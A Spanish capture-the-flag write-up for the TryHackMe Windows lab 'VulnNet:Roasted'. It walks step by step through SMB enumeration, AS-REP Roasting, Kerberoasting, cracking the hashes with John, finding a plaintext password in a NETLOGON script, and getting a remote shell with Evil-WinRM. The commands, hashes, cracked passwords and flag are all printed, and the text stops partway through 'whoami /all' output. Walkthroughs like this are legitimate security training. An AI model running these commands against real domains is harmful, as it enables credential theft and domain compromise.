VulnNet:Roasted
Dificultad: easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# nmap -sCV --open -T4 -v -n 10.10.118.220
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-05 21:50:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-05T21:50:44
|_ start_date: N/A
|_clock-skew: -9m13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
En síntesis:
| Puerto | Servicio | Protocolo |
|----------|----------------|---------------------------------|
| 53/tcp | domain | Simple DNS Plus |
| 88/tcp | kerberos-sec | Microsoft Windows Kerberos |
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 389/tcp | ldap | AD LDAP (vulnnet-rst.local0) |
| 445/tcp | microsoft-ds | SMB (posible Windows share) |
| 464/tcp | kpasswd5 | Kerberos password change |
| 593/tcp | ncacn_http | RPC over HTTP |
| 636/tcp | tcpwrapped | LDAPS |
| 3268/tcp | ldap | Global Catalog LDAP |
| 3269/tcp | tcpwrapped | Secure Global Catalog LDAP |
| 5985/tcp | http | Microsoft HTTPAPI (WinRM) |
Este escaneo revela un entorno típico de Active Directory, con múltiples servicios esenciales expuestos. El puerto 88 (Kerberos) permite realizar ataques de AS-REP Roasting si hay cuentas sin pre autenticación habilitada, y posteriormente Kerberoasting para obtener hashes de servicios Kerberos. La presencia de LDAP en los puertos 389 y 3268 permite enumerar usuarios y objetos del dominio, facilitando la obtención de nombres de cuenta válidos. Además, el puerto 445 (SMB) permite acceso a recursos compartidos, crucial para obtener archivos de configuración o scripts con credenciales incrustadas. Finalmente, el servicio en el puerto 5985 (WinRM) puede ser útil en etapas posteriores si se obtienen credenciales válidas, permitiendo ejecución remota de comandos. Otros elementos que nos arroja nmap en este escáner son:
Diferencia horaria del servidor Kerberos: El script
smb2-time
muestra una discrepancia de tiempo entre el servidor y mi kali (clock-skew: -9m13s
). Esta diferencia es crítica cuando se interactúa con servicios como Kerberos, que dependen de la sincronización horaria. Una diferencia mayor a 5 minutos puede provocar errores de autenticación, por lo que nos conviene ajustar el reloj del sistema antes de continuar con el CTF.Nombres de dominio para agregar al archivo
/etc/hosts
: El escaneo revela el dominio Active Directoryvulnnet-rst.local
Además, el host identificado esWIN-2BO8M1OE1M1
. Para asegurar la correcta resolución de nombres en herramientas comorpcclient
,smbclient
o scripts de enumeración LDAP, es necesario mapear la ip y el dominio al archivo/etc/hosts
Todo esto lo podemos configurar con los siguientes comandos:
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# echo "10.10.118.220 vulnnet-rst.local WIN-2BO8M1OE1M1" >> /etc/hosts
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# ntpdate 10.10.118.220
2025-06-05 18:14:34.679393 (-0400) -552.571659 +/- 0.114467 10.10.118.220 s1 no-leap
CLOCK: time stepped by -552.571659
Enumeración de recursos smb con usuario anónimo
Como primer paso vamos a probar la conexión del usuario guest
en el smb para ver si podemos acceder y enumerar algunos recursos de forma anónima usando nxc
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# nxc smb 10.10.118.220 -u 'guest' -p '' --shares
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\guest:
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Enumerated shares
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 Share Permissions Remark
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 ----- ----------- ------
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 ADMIN$ Remote Admin
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 C$ Default share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 IPC$ READ Remote IPC
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 NETLOGON Logon server share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 SYSVOL Logon server share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 VulnNet-Business-Anonymous READ VulnNet Business Sharing
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 VulnNet-Enterprise-Anonymous READ VulnNet Enterprise Sharing
El resultado nos arrojó varias cosas interesantes:
Tenemos permisos de lectura sobre el recurso
IPC$
, este recurso es clave porque nos permite enumerar más objetos del dominio con herramientas como impacket-lookupsidExisten dos directorios a los cuales podemos acceder:
VulnNet-Business-Anonymous
yVulnNet-Enterprise-Anonymous
Entonces como primer paso vamos a intentar extraer usuarios con impacket-lookupsid
, para estos casos desarrolle el siguiente script en bash que implementa lookupsid
pero también nos parcea los usuarios y genera una lista para usar por ejemplo en un Kerberoasting. El script se encuentra en mi repositorio: lookupsid_enum.sh
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# lookupsid_enum.sh 10.10.118.220 guest '' vulnnet-rst.local
[*] Ejecutando impacket-lookupsid contra 10.10.118.220 con vulnnet-rst.local/guest...
Password:
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
a-whitehat
enterprise-core-vn
Guest
j-goldenhand
j-leet
krbtgt
t-skid
WIN-2BO8M1OE1M1$
[+] Archivo generado: users_enum.txt
Ahora vamos a usar smbclient para ingresar a los directorios de smb que enumeramos anteriormente y continuar buscando usuarios o credenciales expuestas
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# smbclient //vulnnet-rst.local/VulnNet-Business-Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Mar 12 21:46:40 2021
.. D 0 Fri Mar 12 21:46:40 2021
Business-Manager.txt A 758 Thu Mar 11 20:24:34 2021
Business-Sections.txt A 654 Thu Mar 11 20:24:34 2021
Business-Tracking.txt A 471 Thu Mar 11 20:24:34 2021
8771839 blocks of size 4096. 4519501 blocks available
smb: \> mget *
Get file Business-Manager.txt? y
getting file \Business-Manager.txt of size 758 as Business-Manager.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
Get file Business-Sections.txt? y
getting file \Business-Sections.txt of size 654 as Business-Sections.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
Get file Business-Tracking.txt? y
getting file \Business-Tracking.txt of size 471 as Business-Tracking.txt (0.5 KiloBytes/sec) (average 0.6 KiloBytes/sec)
Si leemos los archivos que descargamos del smb, vamos a encontrar los nombres completos de los usuarios que obtuvimos con lookupsid, esto nos confirma que la lista tiene efectivamente usuarios del dominio, por lo tanto podemos implementar un ataque de tipo AS-REP Roasting
┌──(root㉿kali)-[/home/…/Documents/THM/VULNETROASTED/smbshares]
└─# cat Business-Manager.txt
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~
Alexa Whitehat is our core business manager. All business-related offers, campaigns, and advertisements should be directed to her.
We understand that when you’ve got questions, especially when you’re on a tight proposal deadline, you NEED answers.
┌──(root㉿kali)-[/home/…/Documents/THM/VULNETROASTED/smbshares]
└─# cat Business-Sections.txt
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~
Jack Goldenhand is the person you should reach to for any business unrelated proposals.
Managing proposals is a breeze with VulnNet. We save all your case studies, fees, images and team bios all in one central library.
AS-REP Roasting attack
En este ataque se explota una configuración insegura de ciertas cuentas en Active Directory que tienen habilitado el atributo DONT_REQUIRE_PREAUTH
. Este atributo indica que dichas cuentas no requieren pre autenticación Kerberos, una característica que normalmente protege contra ataques de recolección de credenciales. Al no exigir pre autenticación, el controlador de dominio puede ser inducido a enviar directamente un mensaje AS-REP
cifrado con la clave derivada de la contraseña del usuario, sin validar previamente que el cliente es legítimo. Utilizando la herramienta GetNPUsers.py
de la suite Impacket, es posible automatizar la identificación de estas cuentas vulnerables y solicitarles un AS-REP
para luego crackearlo offline con John the Ripper y obtener la credencial del usuario. Para este escenario voy a mostrar dos opciones de obtener ese TGT.
Opción 1: impacket-GetNPUsers
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# impacket-GetNPUsers vulnnet-rst.local/ -no-pass -usersfile users_enum.txt -format john -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:042da1c2c638bcd5008b44a6c1903868$8dd2c2b87bad9f575e40e3a66b59b5116778d48770ccaf881580aea41b554cafcab34aba3850ecc24bce07da566f4f731955b1576e0d9a9bdb292489309d0dacb3b740e6e757b65910219817ac152db62c35d49109abe33221cafe52da89383fe0f28f94ca33f034b8a8d19c53b6b9e91259f32cd72ba68a667dee7ee6376f53b67f0440a72cb890db5c5a88a7e1622f68100a63b27e937de3407fcf7f595657b2424ccfdddd461cd08d7d1ac9975bd86e07cd0a165f58e1dcedeb52cf3d24a964fefda880aa9ea3c5f1042bbdc826ae11b39c413ab741e900761f574f4397a60113b126f1172b48f0d7ad8cec956449a3a530ccdbe7
[-] User WIN-2BO8M1OE1M1$ doesn't have UF_DONT_REQUIRE_PREAUTH set
Opcion 2: kerbrute
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# kerbrute userenum --domain vulnnet-rst.local --dc 10.10.118.220 users_enum.txt --downgrade --hash-file as-rep_hash --output hashes2.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 06/06/25 - Ronnie Flathers @ropnop
2025/06/06 19:51:51 > Saving any captured hashes to as-rep_hash
2025/06/06 19:51:51 > Using downgraded encryption: arcfour-hmac-md5
2025/06/06 19:51:51 > Using KDC(s):
2025/06/06 19:51:51 > 10.10.118.220:88
2025/06/06 19:51:51 > [+] VALID USERNAME: a-whitehat@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: j-leet@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: Guest@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: enterprise-core-vn@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: Administrator@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: j-goldenhand@vulnnet-rst.local
2025/06/06 19:51:51 > [+] VALID USERNAME: WIN-2BO8M1OE1M1$@vulnnet-rst.local
2025/06/06 19:51:51 > [+] t-skid has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:dbaf125b82cc5546e913d611b39d1341$2013cfe6eba5d69b5a3a3e2e68196e187ba8acba943e54eda79cb83ee444419aa25bda873e2f23785fd5f57100a7e1c108cf09c9d25608344f501632674cb509af657457cf37cec780d92156520a5449b386851172f1206ca6b54285c17c59be6ba1fcc1995241c36245d4f4077f0341e014295632bb6bb1ce7e65653b195677c49b73a0ba45a745fb100273304b3f77e186812e2401103066e48d4b0e9165aa2bef508b495664e89c1164a635dd7bdbd2d3d6a1a3f8f3492291289eacc86c833409a1216ad82942da91d48157a35189d1e8db64fdf6a7a9983bcd746a760108986277e8a42384340495bb18144cfa9b7617916dd79f
2025/06/06 19:51:51 > [+] VALID USERNAME: t-skid@vulnnet-rst.local
2025/06/06 19:51:51 > Done! Tested 9 usernames (8 valid) in 0.234 seconds
TGT cracking con John
Una vez que tenemos el hash lo crackeamos con John The Ripper
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tj072889* ($krb5asrep$t-skid@VULNNET-RST.LOCAL)
1g 0:00:00:03 DONE (2025-06-06 19:45) 0.2673g/s 849865p/s 849865c/s 849865C/s tj3929..tj0216044
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Nota: en un ataque AS-REP Roasting no se craquea el TGT completo. Lo que se craquea es una parte del mensaje AS-REP (respuesta del Domain Controller) que contiene un bloque cifrado con la clave derivada de la contraseña del usuario. Si tenes dudas sobre el funcionamiento de este servicio te recomiendo que leas el siguiente artículo:
Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# service_validation.sh vulnnet-rst.local t-skid 'tj072889*'
[*] Probando credenciales contra vulnnet-rst.local con usuario 't-skid'...
--- Probando smb ---
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
--- Probando ldap ---
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
LDAP 10.10.118.220 389 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
--- Probando winrm ---
WINRM 10.10.118.220 5985 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local)
WINRM 10.10.118.220 5985 WIN-2BO8M1OE1M1 [-] vulnnet-rst.local\t-skid:tj072889*
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.118.220 135 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local)
RPC 10.10.118.220 135 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
--- Probando ftp ---
--- Probando ssh ---
Enumeración de recursos smb
Nos vuelve a confirmar el acceso al smb, asique vamos a volver a usar nxc nuevamente para ver si tenemos acceso hacia algún nuevo recurso:
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# nxc smb 10.10.118.220 -u 't-skid' -p 'tj072889*' --shares
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Enumerated shares
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 Share Permissions Remark
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 ----- ----------- ------
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 ADMIN$ Remote Admin
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 C$ Default share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 IPC$ READ Remote IPC
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 NETLOGON READ Logon server share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 SYSVOL READ Logon server share
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 VulnNet-Business-Anonymous READ VulnNet Business Sharing
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 VulnNet-Enterprise-Anonymous READ VulnNet Enterprise Sharing
Credential Harvesting
El permiso de lectura del directorio SYSVOL
es clave para la recolección de credenciales expuestas, por ejemplo podríamos encontrar algo como:
Archivos tipo
Groups.xml
que definen usuarios y contraseñas en texto claro o cifrado débil → esto es lo que en pentesting se conoce como GPP Passwords (Group Policy Preferences Passwords).Scripts de inicio de sesión (
logon scripts
), por ejemplo.bat
,.cmd
,.ps1
,.vbs
con contraseñas en texto plano, comandosnet use
con credenciales, variables de entorno que revelan información, etc.
En cualquier caso lo que vamos a hacer primero es usar el módulo spider_plus
de crackmapexec para descargar una enumeración de todos esos archivos que se encuentran en SYSVOL
y luego buscar alguno que nos llame la atención como el Groups.xml
o algun password
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# smbclient \\\\10.10.118.220\\SYSVOL -U 't-skid%tj072889*' -m SMB2
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Mar 11 14:19:49 2021
.. D 0 Thu Mar 11 14:19:49 2021
vulnnet-rst.local Dr 0 Thu Mar 11 14:19:49 2021
8771839 blocks of size 4096. 4535964 blocks available
smb: \> cd vulnnet-rst.local\
smb: \vulnnet-rst.local\> dir
. D 0 Thu Mar 11 14:23:40 2021
.. D 0 Thu Mar 11 14:23:40 2021
DfsrPrivate DHSr 0 Thu Mar 11 14:23:40 2021
Policies D 0 Thu Mar 11 14:20:26 2021
scripts D 0 Tue Mar 16 19:15:49 2021
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# crackmapexec smb 10.10.118.220 -u t-skid -p "tj072889*" -M spider_plus
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
SPIDER_P... 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Started spidering plus with option:
SPIDER_P... 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] DIR: ['print$']
SPIDER_P... 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] EXT: ['ico', 'lnk']
SPIDER_P... 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] SIZE: 51200
SPIDER_P... 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] OUTPUT: /tmp/cme_spider_plus
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# cd /tmp/cme_spider_plus
┌──(root㉿kali)-[/tmp/cme_spider_plus]
└─# ls
10.10.118.220.json
┌──(root㉿kali)-[/tmp/cme_spider_plus]
└─# cat 10.10.118.220.json
"NETLOGON": {
"ResetPassword.vbs": {
"atime_epoch": "2021-03-16 19:18:14",
"ctime_epoch": "2021-03-16 19:15:49",
"mtime_epoch": "2021-03-16 19:18:14",
"size": "2.75 KB"
}
},
"SYSVOL": {
"vulnnet-rst.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
"atime_epoch": "2021-03-12 21:53:26",
"ctime_epoch": "2021-03-11 14:20:26",
"mtime_epoch": "2021-03-12 21:53:26",
"size": "22 Bytes"
},
"vulnnet-rst.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
"atime_epoch": "2021-03-12 21:53:25",
"ctime_epoch": "2021-03-11 14:20:26",
"mtime_epoch": "2021-03-12 21:53:25",
"size": "1.12 KB"
},
"vulnnet-rst.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
"atime_epoch": "2021-03-11 14:25:58",
"ctime_epoch": "2021-03-11 14:25:58",
"mtime_epoch": "2021-03-11 14:25:58",
"size": "2.73 KB"
},
"vulnnet-rst.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
"atime_epoch": "2021-03-13 18:39:58",
"ctime_epoch": "2021-03-11 14:20:26",
"mtime_epoch": "2021-03-13 18:39:58",
"size": "22 Bytes"
},
"vulnnet-rst.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
"atime_epoch": "2021-03-13 18:39:58",
"ctime_epoch": "2021-03-11 14:20:26",
"mtime_epoch": "2021-03-13 18:39:58",
"size": "3.71 KB"
},
No encontramos el Groups.xml
pero si hay un ResetPassword.vbs
asique vamos a ingresar al smb con smbclient y descargar este recurso para analizarlo localmente.
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# smbclient \\\\10.10.118.220\\NETLOGON -U 't-skid%tj072889*' -m SMB2
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Mar 16 19:15:49 2021
.. D 0 Tue Mar 16 19:15:49 2021
ResetPassword.vbs A 2821 Tue Mar 16 19:18:14 2021
8771839 blocks of size 4096. 4531103 blocks available
smb: \> get ResetPassword.vbs
getting file \ResetPassword.vbs of size 2821 as ResetPassword.vbs (2.4 KiloBytes/sec) (average 2.4 KiloBytes/sec)
smb: \> exit
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# cat ResetPassword.vbs
Option Explicit
Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain
Dim strUserDN, objUser, strPassword, strUserNTName
' Constants for the NameTranslate object.
Const ADS_NAME_INITTYPE_GC = 3
Const ADS_NAME_TYPE_NT4 = 3
Const ADS_NAME_TYPE_1779 = 1
If (Wscript.Arguments.Count <> 0) Then
Wscript.Echo "Syntax Error. Correct syntax is:"
Wscript.Echo "cscript ResetPassword.vbs"
Wscript.Quit
End If
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
' Determine DNS domain name from RootDSE object.
Set objRootDSE = GetObject("LDAP://RootDSE")
strDNSDomain = objRootDSE.Get("defaultNamingContext")
Remote Code Execution con EvilWinRM
Con estas nuevas credenciales vamos a testear nuevamente a que servicios nos podemos conectar/logear y buscar el proximo vector de ataque.
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# service_validation.sh vulnnet-rst.local a-whitehat 'bNdKVkjv3RR9ht'
[*] Probando credenciales contra vulnnet-rst.local con usuario 'a-whitehat'...
--- Probando smb ---
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
--- Probando ldap ---
SMB 10.10.118.220 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
LDAP 10.10.118.220 389 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
--- Probando winrm ---
WINRM 10.10.118.220 5985 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local)
WINRM 10.10.118.220 5985 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.118.220 135 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local)
WMI 10.10.118.220 135 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
--- Probando ftp ---
--- Probando ssh ---
Tenemos credenciales válidas para conectarnos a WinRM, asique vamos a usar EvilWinRM y buscar nuestra flag
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# evil-winrm -u a-whitehat -p bNdKVkjv3RR9ht -i 10.10.118.220
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue -Force
Directory: C:\Users\enterprise-core-vn\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/13/2021 3:43 PM 39 user.txt
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> Get-Content "C:\Users\enterprise-core-vn\Desktop\user.txt"
THM{726b7c0baaac1455d05c827b5561f4ed}
Kerberoasting con impacket-GetUserSPNs
Está flag pertenece al usuario enterprise-core-vn
, pero no tenemos su contraseña, asique vamos a intentar obtenerla a través de un Kerberoasting con impacket-GetUserSPNs y luego vamos a crackear ese hash con John The Ripper
┌──(root㉿kali)-[/home/…/Documents/THM/VULNETROASTED/smbshares]
└─# impacket-GetUserSPNs -request -dc-ip 10.10.118.220 vulnnet-rst.local/t-skid:tj072889* -outputfile kerberoast
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- ------------------ ------------------------------------------------------------- -------------------------- -------------------------- ----------
CIFS/vulnnet-rst.local enterprise-core-vn CN=Remote Management Users,CN=Builtin,DC=vulnnet-rst,DC=local 2021-03-11 14:45:09.913979 2021-03-13 18:41:17.987528
[-] CCache file is not found. Skipping...
┌──(root㉿kali)-[/home/…/Documents/THM/VULNETROASTED/smbshares]
└─# john -w=/usr/share/wordlists/rockyou.txt kerberoast
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ry=ibfkfv,s6h, (?)
1g 0:00:00:02 DONE (2025-06-07 20:37) 0.3412g/s 1402Kp/s 1402Kc/s 1402KC/s ryan0318..ry=iIyD{N
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Volviendo a la sesión de EvilWinRM del usuario a-whitehat
, si leemos su información completa sobre el contexto de seguridad vamos a encontrar dos elementos críticos: en la sección GROUP INFORMATION
el usuario figura dentro de los grupos BUILTIN\Administrators
y Domain Admins
¿Que son estos grupos?
BUILTIN\Administrators
Es el grupo Administrators local de la máquina Windows.
BUILTIN
es un contenedor especial que representa los grupos locales predefinidos de Windows.Administrators
es el grupo que tiene control total sobre el sistema local.Los miembros de
BUILTIN\Administrators
pueden:Instalar software.
Administrar usuarios y permisos locales.
Cambiar configuraciones del sistema.
Leer cualquier archivo en el disco local.
Si un usuario pertenece a este grupo, tiene privilegios de administrador local en la máquina.
Este grupo no otorga automáticamente privilegios en el dominio, solo en el equipo específico.
VULNNET-RST\Domain Admins
VULNNET-RST\Domain Admins
Este es el grupo Domain Admins en el dominio Active Directory VULNNET-RST
.
Es un grupo global de AD, no local.
Los miembros de
Domain Admins
tienen:Control total sobre todos los equipos unidos al dominio.
Permisos administrativos automáticos en todos los equipos y servidores del dominio.
Capacidad de modificar usuarios, GPOs, OU, permisos en Active Directory.
Capacidad de acceder a los Controladores de Dominio y realizar ataques como DCSync.
Si un usuario es Domain Admin
, puede comprometer todo el dominio fácilmente. Además, por herencia, los Domain Admins
suelen ser agregados automáticamente al grupo BUILTIN\Administrators
en todos los equipos del dominio → por eso en este caso vemos ambos.
Un usuario que esté en el grupo Domain Admin
nos habilita a extraer del DC todos los hashes del dominio mediante un ataque DCSync con impacket-secretsdump
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
====================== =============================================
vulnnet-rst\a-whitehat S-1-5-21-1589833671-435344116-4136949213-1105
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
================================================== ================ ============================================ ===============================================================
